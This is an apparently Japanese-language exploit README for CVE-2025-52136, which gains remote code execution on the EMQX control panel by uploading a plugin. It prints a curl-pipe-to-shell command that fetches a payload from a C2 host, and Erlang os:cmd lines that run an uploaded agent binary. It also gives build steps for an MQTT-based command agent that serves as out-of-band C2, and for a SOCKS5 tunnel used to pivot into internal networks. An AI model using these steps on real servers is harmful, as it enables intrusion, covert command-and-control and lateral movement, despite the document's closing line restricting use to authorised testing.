
CVE-2025-52136 のエクスプロイト。プラグインアップロードを介して EMQX コントロールパネル上で RCE を可能にし、MQTT ベースのコマンドエージェントと SOCKS5 トンネルを備え、帯域外 C2 とネットワークピボットを実現します。
https://github.com/ricardojoserf/emqx-RCE
元の利用方法は、EMQXプラグインをアップロードし、プラグインテンプレートのコードにErlangのosモジュールを追加してシステムコマンドを実行しRCEを行うものです。
出網環境(外部接続可能な環境)では、環境にデフォルトでcurlが存在するため、直接curl http://xx.xx.xx.xx/1.sh | shでC2に接続できます。
ターゲットが外部接続できない場合、EMQX自体がMQTTメッセージサーバーであるため、プラグインのアップロードと組み合わせて、EMQXサーバー上でアップロードした実行可能プログラムを直接実行できます。 EMQXをMQTTメッセージキューのコアとして使用し、デプロイしたプログラムを直接「システムコマンドプロキシ」として機能させ、クライアントが送信したコマンドをサブスクライブし、実行結果をトピックにパブリッシュします。
+-------------+
| クライアント |
| コマンド送信 |
| トピック: rx/cmd|
+------+-------+
|
MQTT Broker (EMQX)
|
+------+-------+
| コマンドプロキシ |
| サブスクライブ rx/cmd |
| システムコマンド実行 |
| パブリッシュ tx/cmd |
+--------------+
go mod init mqtt_agent
go get github.com/eclipse/paho.mqtt.golang
GOOS=linux GOARCH=amd64 go build -o mqtt_agent agent.go
その後、原作者の利用方法に従い、my_emqx_plugin.erlに3行追加します。
os:cmd("mv /opt/emqx/plugins/my_emqx_plugin-1.0.0/my_emqx_plugin-0.1.0/mqtt_agent /tmp/mqtt_agent"),
os:cmd("chmod +x /tmp/mqtt_agent"),
os:cmd("bash -c \"/tmp/mqtt_agent\""),
プラグインのコンパイル後、任意の圧縮ツールを使用してmqtt_agentをmy_emqx_plugin-1.0.0.tar.gz\my_emqx_plugin-1.0.0\my_emqx_plugin-0.1.0\ディレクトリに配置します。

プラグインをアップロード

その後、クライアントでtx/cmdにサブスクリプションを追加し、トピックをrx/cmdにすれば使用できます。

同様に、MQTTを介してClient ↔ Agent間にトンネルを開設し、TCPデータをMQTT経由で双方向に内網(内部ネットワーク)のAgentへ転送し、Agentが内網のターゲットホストに接続することで、内網穿透(内部ネットワークへのトンネリング)を実現できます。
この方式にはいくつかの欠点があります:
go mod init mqtt_tunnel_agent
go mod init mqtt_tunnel_client
go get github.com/armon/go-socks5
go get github.com/eclipse/paho.mqtt.golang
go get github.com/google/uuid
go build -o mqtt_tunnel_agent mqtt_tunnel_agent.go
//client
GOOS=linux GOARCH=amd64 go build -o mqtt_tunnel_client mqtt_tunnel_client.go
使用方法は上記のRCEプロセスと同様です。ここでは直接ローカルポートを起動してsocks5トンネルとしてトラフィックを転送します。
プロキシトンネルは自分でコンパイルして使用してください。
このツールは、許可された環境/テスト環境でのみ使用可能であり、不正利用は厳禁です。